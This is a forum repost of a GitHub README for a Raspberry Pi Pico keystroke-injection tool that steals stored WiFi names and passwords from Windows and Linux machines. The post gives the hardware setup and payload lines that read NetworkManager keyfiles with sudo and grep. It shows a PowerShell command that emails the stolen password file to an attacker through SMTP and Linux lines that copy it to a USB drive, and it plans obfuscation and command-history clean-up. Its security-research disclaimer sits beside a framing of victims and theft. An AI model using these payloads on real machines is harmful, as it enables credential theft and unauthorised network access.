# WiFi password stealer | Simple Windows And Linux Keystroke Injection Tool 

**URL:** <https://onehack.st/t/wifi-password-stealer-simple-windows-and-linux-keystroke-injection-tool/271122>\
**Category:** Tools & Scripts\
**Tags:** hacking, data-recovery\
**Created:** [January 5, 2024, 8:42pm UTC](https://onehack.st/t/wifi-password-stealer-simple-windows-and-linux-keystroke-injection-tool/271122 "2024-01-05T20:42:07Z")\
**Posts on this page:** 2\
**Page:** 1

<div class="post-metadata">

**Author:** ![NoBody](https://onehack.st/user_avatar/onehack.st/nobody/32/163880_2.png) [@NoBody](https://onehack.st/u/NoBody)\
**Post date:** [January 5, 2024, 8:42pm UTC](https://onehack.st/t/wifi-password-stealer-simple-windows-and-linux-keystroke-injection-tool/271122/1 "2024-01-05T20:42:07Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/3/6/36ffae324c3be3d03ff79e3ce212b9786338161a.png)

# WiFi password stealer

[![License: GPL v2](https://camo.githubusercontent.com/1b537d3212c421e0362b9c7168f1febd83941d79e8ccd8487309a4a759f7da11/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d47504c5f76322d626c75652e737667)](https://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html) [![](https://camo.githubusercontent.com/4cd6be6472aeff181aa5f1cd73c6c02ade133121a8558114e5120f7100250029/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f762f72656c656173652f416c656b73614d436f64652f576946692d70617373776f72642d737465616c6572)](https://camo.githubusercontent.com/4cd6be6472aeff181aa5f1cd73c6c02ade133121a8558114e5120f7100250029/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f762f72656c656173652f416c656b73614d436f64652f576946692d70617373776f72642d737465616c6572)

Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim’s computer and steal data from it? - A proper wet dream for some.

> ⚠ **Disclaimer** : All content in this project is intended for security research purpose only.

## Table of contents

- [WiFi password stealer](https://github.com/AleksaMCode/WiFi-password-stealer#wifi-password-stealer)
  - [Table of contents](https://github.com/AleksaMCode/WiFi-password-stealer#table-of-contents)
  - [Introduction](https://github.com/AleksaMCode/WiFi-password-stealer#introduction)
  - [Setup](https://github.com/AleksaMCode/WiFi-password-stealer#setup)
  - [Prerequisites](https://github.com/AleksaMCode/WiFi-password-stealer#prerequisites)
  - [Requirements - What you’ll need](https://github.com/AleksaMCode/WiFi-password-stealer#requirements---what-youll-need)
  - [Keystroke injection tool](https://github.com/AleksaMCode/WiFi-password-stealer#keystroke-injection-tool)
    - [Keystroke injection](https://github.com/AleksaMCode/WiFi-password-stealer#keystroke-injection)
    - [Delays](https://github.com/AleksaMCode/WiFi-password-stealer#delays)

  - [Exfiltration](https://github.com/AleksaMCode/WiFi-password-stealer#exfiltration)
    - [Windows exploit](https://github.com/AleksaMCode/WiFi-password-stealer#windows-exploit)
      - [Sending stolen data over email](https://github.com/AleksaMCode/WiFi-password-stealer#sending-stolen-data-over-email)

    - [Linux exploit](https://github.com/AleksaMCode/WiFi-password-stealer#linux-exploit)
      - [Storing stolen data to USB flash drive](https://github.com/AleksaMCode/WiFi-password-stealer#storing-stolen-data-to-usb-flash-drive)
      - [Bash script](https://github.com/AleksaMCode/WiFi-password-stealer#bash-script)
      - [Quick overview of the payload](https://github.com/AleksaMCode/WiFi-password-stealer#quick-overview-of-the-payload)

    - [Exfiltrated data formatting](https://github.com/AleksaMCode/WiFi-password-stealer#exfiltrated-data-formatting)

  - [USB Mass Storage Device Problem](https://github.com/AleksaMCode/WiFi-password-stealer#usb-mass-storage-device-problem)
  - [Payload Writer](https://github.com/AleksaMCode/WiFi-password-stealer#payload-writer)
  - [Limitations/Drawbacks](https://github.com/AleksaMCode/WiFi-password-stealer#limitationsdrawbacks)
  - [To-Do List](https://github.com/AleksaMCode/WiFi-password-stealer#to-do-list)

## Introduction

During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim’s computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).

## Setup

After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.

## Prerequisites

- Physical access to victim’s computer.
- Unlocked victim’s computer.
- Victim’s computer has to have an internet access in order to send the stolen data using [SMTP](https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol) for the exfiltration over a network medium.
- Knowledge of victim’s computer password for the Linux exploit.

## Requirements - What you’ll need

[![](https://github.com/AleksaMCode/WiFi-password-stealer/raw/main/resources/RPi-pico.png?raw=true "RPi pico illustration")](https://github.com/AleksaMCode/WiFi-password-stealer/blob/main/resources/RPi-pico.png?raw=true)

- Raspberry Pi Pico (RPi Pico)
- Micro USB to USB Cable
- Jumper Wire (optional)
- pico-ducky - Transformed RPi Pico into a USB Rubber Ducky
- USB flash drive (for the exploit over physical medium only)

> 📝 **Note** :
> 
> - It is possible to build this tool using Rubber Ducky, but keep in mind that [RPi Pico](https://www.raspberrypi.com/products/raspberry-pi-pico/) costs about $4.00 and the [Rubber Ducky](https://shop.hak5.org/products/usb-rubber-ducky) costs $80.00.
> - However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.
> - In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these [simple steps](https://github.com/dbisu/pico-ducky) in order to create pico-ducky.

## Keystroke injection tool

Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.

### Keystroke injection

The payload uses `STRING` command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The `ENTER`/`SPACE` will simulate a press of keyboard keys.

### Delays

We use `DELAY` command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of [HIDs](https://en.wikipedia.org/wiki/Human_interface_device) setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.

## Exfiltration

Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:

- Exfiltration over the network medium.
  - This approach was used for the Windows exploit. The whole payload can be seen [here](https://github.com/AleksaMCode/WiFi-password-stealer/blob/main/payload/payload_windows.template.dd).

- Exfiltration over a physical medium.
  - This approach was used for the Linux exploit. The whole payload can be seen [here](https://github.com/AleksaMCode/WiFi-password-stealer/blob/main/payload/payload_linux.template.dd).

### Windows exploit

In order to use the Windows payload (`payload1.dd`), you don’t need to connect any jumper wire between pins.

#### Sending stolen data over email

Once passwords have been exported to the `.txt` file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following [link](https://github.com/AleksaMCode/university-notices-email-notifier#yahoo-smtp). Also, the payload template needs to be updated with your SMTP information, meaning that you need to update `RECEIVER_EMAIL`, `SENDER_EMAIL` and yours email `PASSWORD`. In addition, you could also update the body and the subject of the email.

[WiFi-password-stealer/payload/payload\_windows.template.dd](https://github.com/AleksaMCode/WiFi-password-stealer/blob/25cf7c56a7df4a9811b4d3eab8d6e6dad4282055/payload/payload_windows.template.dd#L31)

Line 31 in [25cf7c5](https://github.com/AleksaMCode/WiFi-password-stealer/commit/25cf7c56a7df4a9811b4d3eab8d6e6dad4282055)

STRING Send-MailMessage -To ‘RECEIVER\_EMAIL’ -from ‘SENDER\_EMAIL’ -Subject “Stolen data from PC” -Body “Exploited data is stored in the attachment.” -Attachments .\wifi\_pass.txt -SmtpServer ‘[smtp.mail.yahoo.com](http://smtp.mail.yahoo.com)’ -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList ‘SENDER\_EMAIL’, $(‘PASSWORD’ ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587

> 📝 **Note** :
> 
> - After sending data over the email, the `.txt` file is deleted.
> - You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.
> - Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.

### Linux exploit

In order to use the Linux payload (`payload2.dd`) you need to connect a jumper wire between `GND` and `GPIO5` in order to comply with the code in [`code.py`](https://github.com/dbisu/pico-ducky/blob/main/duckyinpython.py) on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this [link](https://github.com/dbisu/pico-ducky#multiple-payloads).

[![](https://github.com/AleksaMCode/WiFi-password-stealer/raw/main/resources/linux-mint_exploit.gif "Linux exploit")](https://github.com/AleksaMCode/WiFi-password-stealer/blob/main/resources/linux-mint_exploit.gif)

#### Storing stolen data to USB flash drive

Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace `USBSTICK` with the name of your USB drive in two places.

[WiFi-password-stealer/payload/payload\_linux.template.dd](https://github.com/AleksaMCode/WiFi-password-stealer/blob/25cf7c56a7df4a9811b4d3eab8d6e6dad4282055/payload/payload_linux.template.dd#L3)

Line 3 in [25cf7c5](https://github.com/AleksaMCode/WiFi-password-stealer/commit/25cf7c56a7df4a9811b4d3eab8d6e6dad4282055)

STRING echo -e “Wireless\_Network\_Name Password\n--------------------- --------” \> /media/$(hostname)/USBSTICK/wifi\_pass.txt

[WiFi-password-stealer/payload/payload\_linux.template.dd](https://github.com/AleksaMCode/WiFi-password-stealer/blob/25cf7c56a7df4a9811b4d3eab8d6e6dad4282055/payload/payload_linux.template.dd#L11)

Line 11 in [25cf7c5](https://github.com/AleksaMCode/WiFi-password-stealer/commit/25cf7c56a7df4a9811b4d3eab8d6e6dad4282055)

STRING done \>\> /media/$(hostname)/USBSTICK/wifi\_pass.txt

In addition, you will also need to update the Linux `PASSWORD` in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim’s Linux machine password, which makes this attack less plausible.

[WiFi-password-stealer/payload/payload\_linux.template.dd](https://github.com/AleksaMCode/WiFi-password-stealer/blob/a90ffb208e6a09d1b0ae44d1afe81d82248ba3fe/payload/payload_linux.template.dd#L7)

Line 7 in [a90ffb2](https://github.com/AleksaMCode/WiFi-password-stealer/commit/a90ffb208e6a09d1b0ae44d1afe81d82248ba3fe)

STRING echo PASSWORD sudo -S echo

[WiFi-password-stealer/payload/payload\_linux.template.dd](https://github.com/AleksaMCode/WiFi-password-stealer/blob/a90ffb208e6a09d1b0ae44d1afe81d82248ba3fe/payload/payload_linux.template.dd#L9)

Line 9 in [a90ffb2](https://github.com/AleksaMCode/WiFi-password-stealer/commit/a90ffb208e6a09d1b0ae44d1afe81d82248ba3fe)

STRING do echo -e “$(sudo \<\<\< PASSWORD cat “$FILE” grep -oP ‘(?\<=ssid=)._') \t\t\t\t $(sudo \<\<\< PASSWORD cat “$FILE” grep -oP '(?\<=psk=)._’)”

#### Bash script

In order to run the [`wifi_passwords_print.sh`](https://github.com/AleksaMCode/WiFi-password-stealer/blob/main/scripts/wifi_passwords_print.sh) script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:

echo PASSWORD | sudo -S sh wifi\_passwords\_print.sh USBSTICK

where `PASSWORD` is your account’s password and `USBSTICK` is the name for your USB device.

#### Quick overview of the payload

**NetworkManager** is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses `.ini-style` keyfile format and stores network configuration profiles. The **keyfile** is a plugin that supports all the connection types and capabilities that **NetworkManager** has. The files are located in _/etc/NetworkManager/system-connections/_. Based on the **keyfile** format, the payload uses the `grep` command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used (`(?<=keyword)`). While the positive lookbehind assertion will match at a certain position in the string, [sc.](https://en.wikipedia.org/wiki/Viz.) at a position right after the _keyword_ without making that text itself part of the match, the regex `(?<=keyword).*` will match any text after the _keyword_. This allows the payload to match the values after **SSID** and **psk** ([pre-shared key](https://en.wikipedia.org/wiki/Pre-shared_key)) keywords.

For more information about **NetworkManager** here is some useful links:

- [Manually creating NetworkManager profiles in keyfile format](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_networking/assembly_networkmanager-connection-profiles-in-keyfile-format_configuring-and-managing-networking#proc_manually-creating-a-networkmanager-profile-in-keyfile-format_assembly_networkmanager-connection-profiles-in-keyfile-format)
- [Description of keyfile settings plugin](https://developer-old.gnome.org/NetworkManager/stable/nm-settings-keyfile.html)

### Exfiltrated data formatting

Below is an example of the exfiltrated and formatted data from a victim’s machine in a `.txt` file.

[WiFi-password-stealer/resources/wifi\_pass.txt](https://github.com/AleksaMCode/WiFi-password-stealer/blob/f5b3b11328764eb07d765a210fbf25db3a828455/resources/wifi_pass.txt#L1-L5)

Lines 1 to 5 in [f5b3b11](https://github.com/AleksaMCode/WiFi-password-stealer/commit/f5b3b11328764eb07d765a210fbf25db3a828455)

| | Wireless\_Network\_Name Password |
| --- | --- |
| | --------------------- -------- |
| | WLAN1 pass1 |
| | WLAN2 pass2 |
| | WLAN3 pass3 |

## USB Mass Storage Device Problem

One of the advantages of Rubber Ducky over RPi Pico is that it doesn’t show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn’t a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (`GND`) and pin 20 (`GPIO15`). For more details visit this [link](https://github.com/dbisu/pico-ducky#usb-enabledisable-mode).

> 💡 **Tip** :
> 
> - Upload your payload to RPi Pico before you connect the pins.
> - Don’t solder the pins because you will probably want to change/update the payload at some point.

## Payload Writer

When creating a functioning payload file, you can use the [`writer.py`](https://github.com/AleksaMCode/WiFi-password-stealer/blob/main/payload/writer.py) script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (_windows_ or _linux_) and the name of the payload file (e.q. _[payload1.dd](https://github.com/AleksaMCode/WiFi-password-stealer/releases/latest/download/payload1.dd)_). Below you can find an example how to run the _writer_ script when creating a Windows payload.

python3 writer.py windows payload1.dd

## Limitations/Drawbacks

- ~~This pico-ducky currently works only on Windows OS.~~
- This attack requires physical access to an unlocked device in order to be successfully deployed.
- The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.
- Machine’s firewall or network’s firewall may prevent stolen data from being sent over the network medium.
- Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.
- The pico-ducky device isn’t really stealthy, actually it’s quite the opposite, it’s really bulky especially if you solder the pins.
- Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.
- ~~If the `Caps Lock` is ON, some of the payload code will not be executed and the exploit will fail.~~
- If the computer has a non-English Environment set, this exploit won’t be successful.
- Currently, pico-ducky doesn’t support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.

## To-Do List

- Fix `Caps Lock` bug.
- Fix non-English Environment bug.
- Obfuscate the command prompt.
- Implement exfiltration over a physical medium.
- Create a payload for Linux.
- Encode/Encrypt exfiltrated data before sending it over email.
- Implement indicator of successfully completed exploit.
- Implement command history clean-up for Linux exploit.
- Enhance the Linux exploit in order to avoid usage of `sudo`.

## GitHub:

> **[GitHub - AleksaMCode/WiFi-password-stealer: Simple Windows and Linux keystroke injection tool...](https://github.com/AleksaMCode/WiFi-password-stealer)**
>
> Simple Windows and Linux keystroke injection tool that exfiltrates stored WiFi data (SSID and password).

---

<div class="post-metadata">

**Author:** ![StARL0rD](https://onehack.st/user_avatar/onehack.st/starl0rd/32/135683_2.png) [@StARL0rD](https://onehack.st/u/StARL0rD)\
**Post date:** [January 6, 2024, 2:01pm UTC](https://onehack.st/t/wifi-password-stealer-simple-windows-and-linux-keystroke-injection-tool/271122/2 "2024-01-06T14:01:29Z")

</div>

has anybody tried this??